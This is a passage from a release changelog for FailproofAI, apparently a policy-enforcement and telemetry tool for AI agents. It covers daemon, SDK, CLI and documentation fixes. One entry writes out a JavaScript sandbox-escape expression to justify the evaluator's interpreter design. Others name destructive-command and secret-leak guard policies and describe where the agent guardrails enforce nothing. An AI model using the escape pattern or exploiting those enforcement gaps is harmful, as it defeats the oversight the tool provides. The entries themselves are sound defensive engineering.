--provider failproofai` now says to reconnect with the same key instead of blaming the key's preset. (#833) -- **Repeating `--policy` on `failproofai policies add` silently turned on only the first.** Only the first occurrence of `--policy`, `--category` or `--cli` was read, and `--only` beside `--policy` was ignored, with no warning. Every occurrence is now taken, as a union. (#833) -- **failproofaid logged a failed upload or policy poll as `error sending request for url (…)` and nothing else.** The cause (a refused connection, DNS, `invalid peer certificate: UnknownIssuer`) sat in the error's source chain, which was dropped, so a private-CA failure read like an outage. The upload, desired-state, artifact and client-build errors now carry the whole chain. (#833) -- **`failproofai flush` said "Nothing spooled — everything already delivered" on every machine.** It counted batches only in subdirectories of `state/spool`, and the daemon writes them flat there (and the SDKs into `custom-agents/events`), so it never requested a flush and `--wait` returned at once. It now counts where the daemon writes, and names batches parked in `state/failed` after failed uploads instead of calling them delivered; the daemon still retries those itself, about hourly and on restart. (#833) -### Dependencies - -- **Clear the last four, `nextjs`'s `postcss`, without the two fixtures Dependabot's own fix would have cost.** The security update reached `postcss@8.4.31` (GHSA-qx2v-qp2m-jg93, GHSA-6g55-p6wh-862q, GHSA-r28c-9q8g-f849, GHSA-fxqj-rqcc-2cmp) by *also* moving `ai-4` to `ai@5.0.52` and `mastra-0` to `@mastra/core@1.70.0` — the two releases those fixtures exist to hold, and precisely the move `SECURITY.md` had just finished naming as never the answer, because it deletes the fixture's reason to exist and drops a supported release from the matrix silently. `mastra-0` did not even install afterwards: `@mastra/mcp@0.14.5` peers on `@mastra/core@">=0.20.1-0 <0.25.0-0"`, so `npm ci` failed `ERESOLVE`, and because the global setup installs every fixture before any test runs, that one fixture took down all three non-`nextjs` shards — `runtimes` included, which has no Mastra test in it. Both pins are restored, and the `postcss` half never needed them: it came in under a *second* `next@15.5.26` that npm installed only to satisfy `@llamaindex/workflow-core@1.3.3`'s `next@^15.2.2` peer against the fixture's root `next@16.3.6`, and nothing imports it — so regenerating that one lockfile drops the peer tree and nothing else, 274 lines, deletions only, `npm audit` 5 findings → 0, with `ai` left at `7.0.111` so `nextjs` still matches the `ai-7` twin whose trace `nextjs.test.ts` compares each route against. (#838) - -### Docs - -- A "Jev through FailproofAI Cloud" page beside the bring-your-own-key one, registered in the English navigation (the other locales follow on the translate pipeline's next run): the machine key preset, shadow first, switching mode or off, what reaches the policy page, and where the key lives. The BYOK page and the CLI reference gain `mode: off` and a pointer to it. (#833) -- Show both Trendshift badges — the overall daily ranking beside the TypeScript-scoped one — in the root README and all 14 translations (#841, #842) - -## 1.0.7 — 2026-09-26 - -The stable cut of the 1.0.7 line. For the `failproofai` package itself this is a -collector release: `failproofaid` now records what a person actually typed as its -own `human_input` event on every harness, and it ingests OpenClaw 2026.9.6's -compressed transcripts, which it previously failed outright. Enforcement is -untouched — nothing under `src/` changed since 1.0.6, so upgrading cannot change -what your agents are allowed to do. - -The rest of the line ships on its own version lines, both already published: -`@failproofai/sdk` 0.0.1-beta.0, the TypeScript telemetry SDK, and -`fp-cloud-cli` 0.0.1, the first stable release of the Cloud CLI. - -### Added - -- **The session collector now records what a person typed as `human_input`, beside the `model_request` it already sent.** Every harness writes whatever reached the model into the user role — cron wrappers, injected AGENTS.md and environment context, sub-agent hand-offs and the person's own words alike — so "what did the human say" had no answer short of a per-harness guess downstream. Each source now emits a `human_input` (`input_id`, `response`) only when its own record says a person wrote the line: Claude Code's `origin.kind == "human"`, else a `promptSource` of `typed`, `queued` or `suggestion_accepted` — so `claude -p` and Agent SDK prompts are not a person (older transcripts fall back to excluding `isMeta`, compaction summaries, bare slash commands, slash-command and local-command wrappers, and sidechains), Codex's `event_msg.user_message` — or, from 0.157, its `UserMessage` item — in sessions whose header names a person (not a sub-agent or `codex exec` run; a session resumed across the upgrade, whose header was never read, emits none), OpenCode text parts that are not `synthetic` outside sub-agent sessions, every pi user message, Hermes sessions whose recorded source is not `cron`, `subagent`, `webhook` or `oneshot` (`hermes -z`) — a message with no recorded source is not counted, and OpenClaw turns with no `inter_session` or `internal_system` provenance that do not open with the runtime's own `[cron:`, heartbeat, `[Subagent Context]`, `[Inter-session message]`, `[System]`, internal-context or runtime-continue text. The `model_request` stream is byte-for-byte unchanged, so nothing already shipped re-hashes or duplicates. Measured on a production OpenClaw gateway over 7 days: 7,365 user-role turns, of which 596 were a person. Also fixes Claude Code prompts with a pasted image, which were dropped entirely (~7% of typed prompts on the machine measured). (#839) -- **`@failproofai/sdk`, the TypeScript telemetry SDK, lands at `sdk/typescript`.** The counterpart to the Python `failproofai-sdk`: the same 15 events, the same wire format, the same spool directory, the same Evaluator v2 protocol — so a fleet running Node agents and Python agents writes into one pipe, and the dashboard cannot tell which wrote what. Scopes (`session`/`agent`/`toolCall`) carry identity on `AsyncLocalStorage` and come in a callback form and a `using` form; `instrument()` wires LangChain.js/LangGraph.js, the Vercel AI SDK, Mastra and LlamaIndex.TS. Zero runtime dependencies, dual ESM+CommonJS, Node >= 20.9, with its own CI job and its own release workflow. Versioned independently of the npm `failproofai` package and of both Python packages. (#830) -- **The TypeScript SDK's framework adapters are held to the Python SDK's bar.** A new `failproofai-ts-sdk-integrations` CI job runs every adapter against real framework releases at both ends of its declared range, as an ES module and as CommonJS, from the packed tarball — the counterpart of `failproofai-sdk-integrations`. It exists because testing the adapters with no framework installed let every one of them ship recording nothing in an ES-module app: they patched the CommonJS copy of the framework while the app ran the ESM one. The adapters now patch the copy the app loads; LangChain/LangGraph traces match the Python adapter's; the Vercel AI SDK is supported through `ai` 7; Mastra's range starts at 0.20 and LlamaIndex.TS's at 0.11.4, the oldest releases the suite proves; CommonJS and `moduleResolution: node` consumers get working type declarations (TypeScript ≥ 5.4); and an adversarial review's findings for long-running servers are fixed — live runs no longer lose events once 10k others have finished, `instrument("ai")` no longer takes the application's OpenTelemetry slot, and concurrent requests on one shared LlamaIndex engine stay apart. A coverage sweep then extended the suite to every commonly used surface of each framework and to Bun, Deno and Next.js; Next.js apps get `withFailproofai()` from `@failproofai/sdk/next`, and `instrument()` now warns instead of recording nothing when Next bundles a framework. (#830) -- **Server-authored evaluations run through a parser and an interpreter, not `eval` and not `node:vm`.** The Python SDK validates an AST and then calls `eval` with empty builtins; the same shape in JavaScript is not safe, because `x["constructor"]["constructor"]("…")()` reaches arbitrary code through a key computed at RUNTIME, which no source-level allowlist can see, and a `vm` context has its own `Function` to reach. So the TypeScript sandbox interprets: every property read goes through one function that checks the actual key at the moment of the read, and the interpreter never constructs a function. A `worker_threads` sandbox with V8 heap limits, a wall-clock `terminate()`, a bounded result and a concurrency cap sits around that as the RESOURCE bound. An evaluation that cannot be sandboxed is refused, never run unbounded. (#830) -- `fp issues` gains `close`, `archive`, `unarchive` and `clear`. `close` is the second terminal state — "we're done with it", not "we fixed it" — and the difference is what happens next: a **resolved** issue reopens when its audit finding recurs, a **closed** one does not. `archive`/`unarchive` toggle a flag that is orthogonal to state, so taking an issue off the board never overwrites how it ended. `clear` is the bulk operation behind "we changed our agents, give us a fresh board": it resolves every open issue in a scope (`--audit `, `--all-audits`, or `--everything` — exactly one required, no default) plus the audit findings behind them, needs `issues:close` **and** `audits:write`, and previews with `--dry-run` from the same server-side scope predicate the write uses. It writes **no** suppression, so a pattern that survived the agent changes reopens its issue on the next run rather than staying hidden. `--state closed` is accepted by `issues list`, and `Incident` carries `closed_at` / `archived_at`. (#815) -- **`fp-cloud-cli` cuts its first stable release, `0.0.1`.** The commands above drive server endpoints that are being deployed to FailproofAI Cloud, so the CLI half stops being a pre-release: the `0.0.1b3` line the `bump` job opened is cut stable rather than published, `Development Status` moves to `5 - Production/Stable` so the classifier agrees with the one string pip reads, and `0.0.2b0` opens the next beta line. Nothing about the command surface changes at the cut — `pipx install fp-cloud-cli` already resolved the betas, because they were the only releases; now it resolves a version that says so. This is the PyPI package's own line and does not move the npm version, which stays at `1.0.7-beta.0`. (#815) - -### Fixes - -- **OpenClaw 2026.9.6 sessions were not collected at all.** That release stores a large transcript event zstd-compressed in `event_zstd` and leaves `event_json` NULL, and the collector failed the whole agent database on the first such row. Compressed rows are now decoded, and a row with neither is skipped. (#839) -- **The TypeScript SDK, after a user-style test on six real agent setups against FailproofAI Cloud.** (1) Events emitted in the same millisecond tied on their timestamp, and the dashboard showed a `tool_result` before its `tool_use`. The digits below the millisecond are now a per-process sequence, so emission order is kept, and it re-anchors when the wall clock steps back. (2) SIGTERM left every open run showing as running forever. The exit hook now closes what is still open: tools get a `ProcessExit` error, and agents (hand-written and adapter-opened) get `error` then `agent_end` with `outcome: "failed"`. (3) `configure()` only reached its own copy of the SDK, so a Next.js route bundled without `withFailproofai` reported `environment: dev`. `environment` and `baseDir` are now process-wide. (4) An `agent()` wrapper around a framework agent of the same name produced two `agent_start`s and an agent that was its own parent; it now joins it. (5) LlamaIndex 0.12 tool errors read `Error: Error(Error): …`. (6) openai's errors were recorded as `error_type: Error`; the class name is used now. (7) An unawaited `instrument()` is now warned about by the LangChain adapter, whether the graph's nodes arrive under an unknown parent or as roots, instead of producing a silently wrong trace. (8) A second round of the same tests found shutdown still left the open tool, node and model call of an adapter run — and a hand-written `event.modelRequest` — unclosed. Every tool, hook and model call is now tracked where all of them are emitted, the event namespace, and closed at exit, except in a session paused on a human. (9) A third round found the close order wrong for nested runs (a planner's delegate tool closed before the writer sub-agent it started) and a crash's cause missing from the trace. Everything open now closes in one most-recently-opened-first order across tools, hooks, model calls and agents; the closing messages name the uncaught exception a crash exited on; a model call closed at exit carries its duration; and ProcessExit errors no longer carry the SDK's own stack as a traceback. The vanilla example records the model's tool calls as `fw_tool_calls` (the adapters' field), keeps its error path to the provider call, records a call with malformed arguments instead of dropping it, and narrows openai's union tool types; the skill's copy of it is now type-checked under `--strict` against the real `openai` client in CI. (#830) -- **`npx failproofai-evaluator` refused every CommonJS evaluator file.** The bin is the ESM build, and a CommonJS file (plain `tsc` output, `require`) builds its `Evaluator` from `dist/cjs`, a second copy of the class. The loader's `instanceof` check was false across the two copies, so it failed with "resolved to Evaluator, not an Evaluator". It now checks for a `Symbol.for` marker that both builds share, and a packaging test runs a CommonJS file and an ESM file through the built bin. The TypeScript SDK's Vercel AI SDK warnings also told readers to call `failproofai.ai.telemetry()`, which the root package does not export. They now name `import { telemetry, wrapModel } from "@failproofai/sdk/ai"`. (#830) -- **One event, two answers: "a recurring finding reopens the resolved issue" and "it opens a new one" were both written down, four lines apart.** `fp audits resolve --help`'s confirm line said `a genuine recurrence re-opens as new`, the skill and its command reference said the same, and the new `clear` text inherited it — while `issues close --help`, the audits guide's own table and the Cloud CLI reference all said the issue **reopens**. Only the second reading makes the rest coherent: a recurrence that opened a different issue would leave `close` with nothing to stay closed *through*, and could not un-archive "a live issue" the way archiving documents. The recurrence sentence now says `reopens` everywhere it appears, in the confirm text a user reads before resolving and in the skill a model reads before acting. (#815) -- **`clear`'s help promised the preview count could not disagree with the write, which nothing enforces.** The dry run and the write share a scope predicate, not a row set: the write re-runs it, so an issue that enters the scope in between is cleared without being in the number the user confirmed. That is the right behaviour for a command whose argument is a *scope* — but the guarantee as written was a stronger one than the two requests can make. The help now says what holds (the count is the real size of the scope, taken server-side) and what does not (it is a count, not a lease), and points at the closing line, which reports what actually changed. (#815) -- **The skill mapped "clear all our issues" to `--all-audits`, which is not all issues.** `--all-audits` leaves alert-born and hand-opened issues on the board, so a model following that row would clear part of it and report a fresh start. Both the intent table and the workflow note now make settling the scope the first step, with what each flag does and does not cover. (#815) - -### Docs - -- A **Sentiment** page under Trace Agents: what the four feelings and three signals (correcting, resolved, doubtful) are, how to turn scoring on, which messages are scored (only what a person wrote), and how to read the dashboard. (#839) -- A TypeScript reference page sits beside the Python custom-agents one, registered in the English navigation; the translate pipeline picks up the other fourteen locales on its next run. The cross-link runs both ways and both sides say the same thing in the same place — the two SDKs write the same events into the same spool, so a fleet with Node agents and Python agents produces one set of sessions, not two. That is the fact a reader needs before they start choosing, and it appeared nowhere the choice is actually made. (#830) -- The `failproofai-sdk` skill's TypeScript page now covers what six user-style tests found missing: how each framework names its agent and how to own the session id (`session({ sessionId })`), adapter options, where streamed-usage flags go (the Vercel AI SDK needs one too, and LlamaIndex needs it even without streaming), verifying on a machine whose daemon empties the spool, Next.js `configure()` placement, and the new shutdown behaviour. The id-uniqueness rule no longer contradicts itself between SKILL.md and events.md. (#830) -- The `failproofai-sdk` skill now covers TypeScript/JavaScript agents and the customer evaluator worker. New `references/typescript.md` covers install, names, the four adapters, Next.js and bundlers, the three-edit-site wiring for a hand-built loop, shutdown and verification. New `references/evaluator.md` covers writing, running and deploying an evaluator worker (the eval pod) in Python and TypeScript. The description no longer routes to the retired `agenteye-evaluator`, and the Codex `openai.yaml` picks up the `policy:` nesting the skills repo already carries, so the next sync does not revert it. A new `sdk/typescript/test/skill-snippets.test.ts` parses every TypeScript block in the skill and fails when one calls an SDK name that no longer exists. (#830) -- Document ending an issue three ways (resolve / close / archive) and clearing a board after an agent change, in the audits guide and the Cloud CLI reference. (#815) - -### Dependencies - -- **Clear 32 of the 36 Dependabot alerts still open against the TypeScript SDK's integration fixtures, without moving a single framework under test.** (The other four, `nextjs`'s `postcss`, land in #838.) The fixtures pin real, sometimes deliberately old framework releases (`ai@4.3.19`, `@langchain/core@0.3.80`, `@mastra/core@0.24.9`) and those releases pin *their* transitive deps exactly — `ai@4.3.19` requires `jsondiffpatch@0.6.0`, not `^0.6.0` — so an in-range `npm update` reported every one of the five affected fixtures already up to date while the advisories stood against them. Each now carries a minimal `overrides` entry instead, the same lever the root `package.json` already uses: `undici` 5.29.0 → 7.29.0 (`ai-5`, 12 advisories), `langsmith` 0.3.87 → 0.10.5 and `uuid` → 11.1.1 (`langchain-0.3`, `langchain-dup-core`), `jsondiffpatch` → 0.7.6 (`ai-4`, `mastra-0`), and `uuid` plus five OpenTelemetry packages onto the 2.11.0/0.222.0 pairing (`mastra-0`). Every direct pin, and `langchain-dup-core`'s two-copies-of-`@langchain/core` shape, is byte-for-byte unchanged; the `frameworks` and `runtimes` integration shards pass in full. (#837) -- **Write down the two advisories that cannot be fixed this way, and why the fixture lockfiles had no gate at all.** `ai@4.3.19` (GHSA-rwvc-j5jr-mgvh) and the `@ai-sdk/provider-utils@2.2.8` inside it (GHSA-866g-f22w-33x8) are both fixed only in a major the `ai-4` fixture exists to stay below and Mastra 0.x cannot take; both are low severity and need an attack surface — a file upload, a hostile provider response — that a scripted in-process fixture does not have. They stay open and documented rather than dismissed, so the next person to move the supported framework floor is reminded they retire with it. `SECURITY.md` now covers the whole path: that Dependabot reads every lockfile in the repo while the OSV-Scanner gate reads only the five it is handed, that a transitive advisory in a fixture is fixed with an override and never by moving the pinned framework, and that an `[[IgnoredVulns]]` entry for one of these would filter nothing and be reported as an unused ignore. (#837) -- 13 routine dependency bumps (#816–#828), and the bundled skills pinned forward twice. - -## 1.0.6 — 2026-09-16 - -Stable native Hermes policy-enforcement release, validated across CLI and -Telegram sessions, default and named profiles, instruction delivery, hard -denials, daemon-backed evaluation, and end-to-end event ingestion. - -### Added - -- Add a native Hermes plugin backed by the existing `failproofaid` warm worker. Policies now intercept Hermes tool calls before execution, deliver model-visible `instruct()` guidance with a bounded retry ledger, and preserve hard blocking for `deny()` decisions. -- Add structured `policyEvaluation` / `policyResult` daemon messages for native integrations, including canonical tool, policy, match, reason, and latency metadata. - -### Fixes - -- Install, remove, and report health for every active Hermes home, including the default profile, upstream nested profiles, and config-bearing `~/.hermes-` installations. -- Require an exact native-policy capability check before changing any Hermes plugin or profile configuration. Missing, unhealthy, outdated, or protocol-incompatible daemons are rejected with setup instructions before fail-closed enforcement can be enabled. -- Apply Hermes evaluation timeouts as one total socket deadline and keep advisory instruction retries bounded so an unavailable state store or repeatedly unchanged action cannot deadlock a turn. -- Make npm release verification tolerate registry propagation delay while still requiring the root package and all platform daemon packages to publish at the same version. - -## 1.0.6-beta.1 — 2026-09-15 - -### Fixes - -- Require an exact `policyEvaluation` / `policyResult` capability probe before direct Hermes installation changes plugin or profile configuration. A healthy older daemon that only supports shell-hook requests is now rejected with upgrade instructions instead of enabling a fail-closed plugin it cannot serve. -- Discover config-bearing `~/.hermes-` installations alongside the default and upstream nested profiles, so install, uninstall, health checks, and audit coverage reach every Hermes home without mistaking empty backup directories for active profiles. -- Make daemon readiness an integration capability rather than a Hermes command special-case, so future daemon-only plugins inherit the same pre-install lockout protection while CLI-backed integrations keep their local evaluator fallback. -- Apply Hermes `evaluation_timeout_ms` as one total socket deadline instead of resetting the full timeout for each partial send or receive. -- Allow npm up to 16 minutes 40 seconds to expose an accepted release while checking every package in parallel per retry round. The `1.0.6-beta.0` root package took 11 minutes 25 seconds to become visible after `npm publish` succeeded, causing the workflow to report a false version split while all five packages had actually published. - -## 1.0.6-beta.0 — 2026-09-15 - -### Docs - -- Translate the English documentation changes from #788 and #791 into all 14 locales, including the new evaluation pages and SDK event redaction on the custom-agents page, and point translated fragment links at their translated headings (#797) - -### Added - -- Add a native, profile-local Hermes plugin that evaluates policies through the existing failproofaid warm worker. Hermes `instruct()` decisions now interrupt the first matching tool attempt with model-visible guidance, then use a persistent bounded retry ledger so advisory policy cannot deadlock the turn; `deny()` remains a hard block. -- Add structured `policyEvaluation` / `policyResult` messages to the versioned local daemon protocol for native integrations, including canonical tool, policy, match, reason, and latency metadata. - -### Changed - -- Hermes installation now copies and enables the managed plugin in every profile, migrates only legacy FailproofAI shell hooks, refuses to overwrite unmanaged plugin directories, and reports incomplete or duplicate profile installations as unhealthy. - -### Dependencies - -- yaml 2.9.0 → 2.9.1, and rustls 0.23.43 → 0.23.45 (with rustls-webpki 0.103.13 → 0.103.15) in `Cargo.lock`, closing RUSTSEC-2026-0285 (5.3, fixed in 0.23.45). The advisory turned the Supply Chain gate red on `main` itself, not through any PR's change; rustls is transitive-only, via `reqwest` in `failproofaid` and `fpai-collect` (#803) - -## 1.0.5 — 2026-09-13 - -Stable OpenClaw 2026.9 compatibility release, validated against default profiles, named profiles, multiple agents, live policy enforcement, local dashboard rendering, and end-to-end ingestion. - -### Fixes - -- Restore OpenClaw 2026.9.2+ transcript ingestion from per-agent SQLite databases while preserving legacy JSONL support, including dynamically discovered agents under configured extra profile paths and stable per-profile agent namespacing (#796). -- Restore complete OpenClaw sessions in the local dashboard, including live WAL-backed SQLite rows on every supported Node version, project grouping by agent and channel, session viewing, and JSONL downloads (#796). -- Deliver OpenClaw `PreToolUse` `instruct()` decisions as model-visible guidance with a retry gate, while retaining ordinary deny behavior and leaving event canonicalization and transcript ingestion unchanged (#796). -- Install the FailproofAI plugin into every valid default and named OpenClaw profile, resolve the correct agent workspace for policy evaluation, and prune collector cursors after OpenClaw removes retained session rows (#796). - -## 1.0.5-beta.1 — 2026-09-12 - -### Fixes - -- Restore OpenClaw 2026.9.2+ observability after live transcripts moved from per-session JSONL files into per-agent SQLite databases. `failproofaid` now discovers every agent profile and configured extra path, tails each SQLite transcript incrementally, handles transcript rewrites without duplicating delivery, and retains legacy JSONL compatibility. - -- Restore OpenClaw sessions in the local dashboard's Projects view and session viewer. SQLite and legacy sessions are merged per agent, live SQLite copies win over archived duplicates, missing channels group under `local`, and downloads export the original `event_json` records as JSONL. - -- Deliver OpenClaw `PreToolUse` instructions to the agent through its model-visible tool rejection reason. The first matching `instruct()` temporarily interrupts the tool call, while a session-and-policy-scoped retry window lets the agent proceed after following the guidance. Policy source, tool canonicalization, and transcript ingestion remain unchanged. - -- Install the FailproofAI plugin into every valid default and named OpenClaw profile, and preserve each agent's resolved workspace across agent and tool hooks so workspace-scoped policies evaluate consistently. - -## 1.0.5-beta.0 — 2026-09-12 - -### Fixes - -- `failproofaid` now applies `collector.redact` to externally written SDK spool batches immediately before upload. SDK JSONL files previously bypassed the daemon's redaction path entirely because redaction only ran while the daemon created its own session and hook events. A batch written by an older SDK could therefore send a captured API key verbatim even with the default `minimal` setting. The uploader now scrubs every valid JSON event with the existing deterministic rules, leaves malformed lines untouched for ingest to reject and preserve through the failed-batch path, and still honors `collector.redact: off` (#791) - -## 1.0.4-beta.0 — 2026-09-02 - -### Fixes - -- The two PyPI publish workflows open the next version's `CHANGELOG` section in the same `bump` commit that moves `_version.py`, via a new `scripts/changelog-open.py`. `bump` used to move the version alone, leaving `main` on a version with no section — the exact state `scripts/changelog-section.py` refuses at release time and `__tests__/ci/python-version-pipeline.test.ts` asserts against. Because bump commits carry a skip-ci marker, that never went red on itself: it went red on the next unrelated PR to run CI, which is how `main` broke after the 0.0.1b1 publish (repaired by hand in #755, which named the recurrence and left it) and again after 0.0.1b2. `sdk/python/CHANGELOG.md` gets the 0.0.1b3 section that was missing. The opener is idempotent — a re-run of `bump` against a `main` that already carries the section is a no-op rather than a second heading, which would put only the first one's body on the GitHub Release — and it matches the version with the same trailing word boundary the extractor uses, so opening `0.0.1b1` is not satisfied by an existing `0.0.1b10` (#787) -- `fp-cloud-cli`'s Click shim survives typer 0.27.2, which moved `Abort` out of its vendored Click. `_click_compat` wrapped all six vendored imports in one `try: … except ImportError: from click import …`, so that single missing name rebound **every** symbol to pip Click — the exact silent failure the module exists to prevent. Typer catches only its own Click's exceptions, so every typed error escaped uncaught: `fp alerts show ghost` exited 1 with an empty stderr instead of 6 with a message, and the same for exits 2, 3, 4 and 5. 105 tests went red on the dependabot bump that first installed 0.27.2. The Click is now chosen once — on whether `typer._click` exists at all — and each symbol imported from that choice, so a name that goes missing raises at import (a CLI that will not start) rather than silently downgrading every error to exit 1. `Abort` alone is resolved from `typer.Abort`, which tracks the move by construction: pip Click's before typer 0.26, the vendored class through 0.27.1, `typer.exceptions.Abort` from 0.27.2 (#771) - -### Docs - -- The Reo.dev beacon runs on the documentation site, as `docs/reo.js`. Mintlify includes any `.js` in the content directory on every page — there is no head-injection key in `docs.json` — so a root file is the whole install, and it is the form Reo's own Mintlify guide prescribes. The loader is kept byte-for-byte as Reo issues it so it stays diffable against the vendor snippet; `__tests__/docs/reo.test.ts` drives it in a DOM and asserts the client ID in the CDN URL is the same one handed to `Reo.init`, because a mismatched pair loads a working script that reports to nobody and the only symptom is an empty dashboard weeks later (#790) -- The 1.0.2 documentation overhaul is reverted: `docs/` and `README.md` go back byte-for-byte to the commit #756 merged onto, along with the 14 generated locales and 14 translated READMEs #759 regenerated from those English sources. The release half of #756 stays — `package.json` and the Cargo workspace are untouched, since they have moved on to 1.0.4-beta.0 and the release tag the CLI builds its daemon download URL from is that npm version. Under `## 1.0.2` the heading and its release narrative stay, because 1.0.2 did ship; the `### Docs` entries underneath described the overhaul and go with it. Leaving the locales in place was the alternative considered and rejected: the nightly translate job is content-hash cached, so pages whose pre-overhaul English hashes it had already seen would have been skipped rather than repaired, stranding every non-English reader on a translation of text that no longer exists (#773) -- The landing page no longer opens with the harness paragraph claiming that "the same events, the same policies, and the same session history apply to every one" of the twelve. Removed from `docs/index.mdx` and all 14 locales (#773) - -- The commands the reverted docs teach are checked against the shipped CLI again, and three of them did not run at all: `failproofai pack add core` is refused (`"core" is no longer a pack name` — ours is a pack like anyone else's now), `failproofai pack add --bundled` is an unknown flag, and `pack build` retired into `publish`. `packs.mdx`, `publish-a-pack.mdx`, `failure-behavior.mdx` and `reference/failproof-cli.mdx` are corrected; `policy`, `pack` and `p` remain working aliases for `policies` and are documented as such rather than silently relied on (#788) -- `failproofai config --connect --token ` is no longer taught as the way to set a machine up. `--connect` short-circuits to enrolment and **returns** — no daemon, no hooks — so anyone who followed the quickstart got a machine that showed up in Cloud and then collected and enforced nothing. Fresh machines now get plain `failproofai config`, with the key arriving through `FAILPROOFAI_CLOUD_TOKEN` rather than argv, where `ps` shows it to every user on the box. The examples read it in with `read -s`, since a key typed into any command — `export` included — still lands in shell history, and CI is told to inject it from the secret store with shell tracing off. Corrected in `start/quickstart.mdx`, `start/setup.mdx`, `reference/failproof-cli.mdx`, `reference/harnesses.mdx`, `reference/custom-agents.mdx` and `reference/overview.mdx` (#788) -- `start/setup.mdx`'s "Local enforcement" card promised guardrails without sending session data to Cloud, then documented only the Cloud flow. The page now shows the local one: `failproofai config` with no key — **Not now — stay local** in a terminal, and on its own with no terminal — then a pack (#788) -- Nothing claims that installing hooks enables the policy catalog any more. `policies --install` with no names wires hooks and touches no policy, and setup says so itself when it finishes ("Nothing is enforcing yet"), so `README.md` and `start/quickstart.mdx` now carry the `failproofai policies add FailproofAI/policies` step that actually puts guardrails on a machine — 38 policies, of which the pack's manifest switches on 10. The always-on `block-failproofai-commands` guard is documented separately, as the one thing enforcing before that command runs (#788) -- The README's harness paragraph no longer promises "same events, same policies" across all twelve. `src/hooks/enforcement-capability.ts` is the authority and disagrees: blocking a tool call before it runs is verified on all twelve, but turn-end gates on eight — OpenCode, Pi, Hermes and Goose have none — so a Stop policy deployed on the strength of that sentence enforced nothing. It now states what is shared (one policy API, one session history), what is not, and links the per-harness matrix. `docs/index.mdx` lost the same sentence in #773; the README kept it (#788) -- `--machine-label` is documented in the order it actually works. On `config` it is *always* a rename — the branch that reads it fires whenever `--connect` and `--disconnect` are absent, so `failproofai config --token --machine-label ` never reaches the wizard and answers "this machine is not connected … so it has no name to change". Setup comes first, the label after (#788) -- `sanitize-api-keys` is out of the README's "What it stops" table. It matches `PostToolUse`, which `ENFORCEMENT_CAPABILITY` classes observe-only, so the tool has already run and its output has already reached the model: it reports a secret rather than keeping one out of the context (#669). The nine policies left in that table are all `PreToolUse` and do gate the call, on every harness (#788) -- 102 published pages across seven locales opened with two consecutive `---` lines, so Mintlify closed the frontmatter block before any key was in it and rendered `title:`, `description:` and `icon:` as body text on a page with no title — visible on `docs.befailproof.ai` for as long as it stood. The stray delimiter is stripped, and `findTranslationError` gained the check that could not have caught it: every existing test asks `YAML.parse`, which reads a leading `---` as a document-start marker and returns a clean `{title, …}`, so the defect was invisible to the validator that exists to prevent exactly this. A second, Mintlify-shaped view of the block is now compared against it, and like Mintlify it takes only an unindented `---` as a delimiter, so an indented one is not mistaken for an empty block (#788) -- `docs/start/integrations.mdx` is in the navigation. The hub page for the five framework guides was on disk and linked from `reference/overview.mdx` and `reference/custom-agents.mdx`, but listed in no sidebar, in English and all 14 locales. Nav and disk now agree exactly, with nothing orphaned and nothing dangling (#788) -- The Policies section follows how a policy is actually made instead of listing every surface side by side. There are two ways to get one — write it (`policies/editor`: from an audit via **generate policy** and **write this policy**, or by hand) or take a pack from the [policy hub](https://befailproof.ai/policy-hub/) (`policies/packs`) — then one path: test (the new `policies/test`, which leads with the editor's backtest), deploy (which now starts with adding a machine), versions and rollback, and finally publishing a pack and failure behavior. `builtin`, `builtin-catalog`, `custom` and `fleet` are folded into `packs`, `editor`, `test` and `deploy` and deleted along with their 56 translations; their URLs redirect in all 15 languages, as does the website's `/built-in-policies`. `local-configuration` moves to the Reference tab and takes the catalog's parameter table with it. What the builtin pages said that still holds moves to `packs`: the Failproof pack's 38 policies and 10 defaults, checked against its published manifest, with a table marking which common guards a plain `policies add` switches on — `block-rm-rf`, `block-force-push` and `block-secrets-write` are not among them. The catalog's claim that the `sanitize-*` policies redact secrets "before the model sees them" goes with it: they match observation-only `PostToolUse`, so they report a secret found in tool output rather than withhold one (#669). `rollback.mdx` also stops calling CLI rollback a dashboard-only workflow — `fp fleet rollback ` exists (#788) -- Every command in the Policies pages is checked against both CLIs' source, and 13 claims did not hold. The worst: the "deploy in observe mode" example enforced, because a bare `fp fleet deploy --add ` keeps the machine's effect or defaults to `enforce` — it now passes `:observe`. `fp policies test` takes `--file`, not `--file-path` (fixed in the Cloud CLI reference too, alongside `fp fleet rollback`'s missing `GENERATION`); `compose` is session-only and refuses API keys; a pack policy switches on machine-wide whatever `--scope` says, and a bare name resolves to the pack that declares it, not to the builtin; re-adding a pack at a terminal re-opens the picker and replaces the selection; `failproofai publish` creates the repository before it validates the build, and at a terminal commits for you rather than refusing (#788) -- Evaluations get their own section, **Evaluate agents**, at the top of the Find failures tab: the two kinds of evaluator — hosted Python written in the dashboard, and your own worker for LLM judges — then writing one (drafted by the assistant and grounded in your payload keys, or by hand), testing it against real sessions without storing anything, deploying and versioning it (a successor disables its predecessor, rolling back re-enables it, and history is scored on request, up to 90 days at a time), and reading results, which absorbs the old Online evaluations page. The Evaluator SDK reference is rewritten for Evaluator v2's outbound-only worker in `failproofai_sdk.evaluator`: the push-model service it documented — `EVALUATOR_ENDPOINT`, `/evaluate`, `JobPending` — is retired, so every example on that page described an SDK that no longer ships. `evaluations:run`, the permission a worker's key needs, joins the permissions table (#788) -- Three review findings on the Policies rebuild above. `/built-in-policies` redirected in English only, so the fourteen localized copies of that page — deleted with the English one in #699 — kept answering 404 instead of landing on each locale's `policies/packs`; all fourteen redirects are added, matching how `builtin`, `builtin-catalog`, `custom` and `fleet` already redirect. `rollback.mdx` claimed a `fp policies disable` could itself be rolled back, which the same page denies ten lines earlier: `rollback` refuses a generation that names a disabled policy, and every generation from before the disable names that one — `fp policies enable` is the way back, and the page now says so. And `reference/evaluator-sdk.mdx` documented `FAILPROOFAI_EVALUATOR_ALLOW_INSECURE_HTTP` as a plain capability with no cost attached: `EvaluatorClient` sends `FAILPROOFAI_EVALUATOR_TOKEN` as an `Authorization: Bearer` header on every request and the transcripts it fetches are whole sessions, so plain HTTP to a non-loopback host hands both to anyone on the path, and the token keeps working until it is rotated. The flag is now marked for isolated development networks only (#788) - -### Dependencies - -- The `sharp` override moves 0.35.0 → 0.35.4, closing GHSA-rgj7-g3m4-5g8c (CVSS 8.9 — two Critical libheif RCEs inherited through libvips, reachable when processing untrusted input). Same surface-late shape as browserslist above and the chromadb entries: the advisory published 2026-09-08 21:25 UTC, between main's green Supply Chain run at 14:18 and its red one the next morning, so it turned every open branch red without any dependency change of its own — reproduced identically by running CI's scanner image against main's untouched lockfile. It stays an override rather than becoming a direct dependency because sharp is still only an optional dependency of next; what changed since #591 pinned it is the direction of the 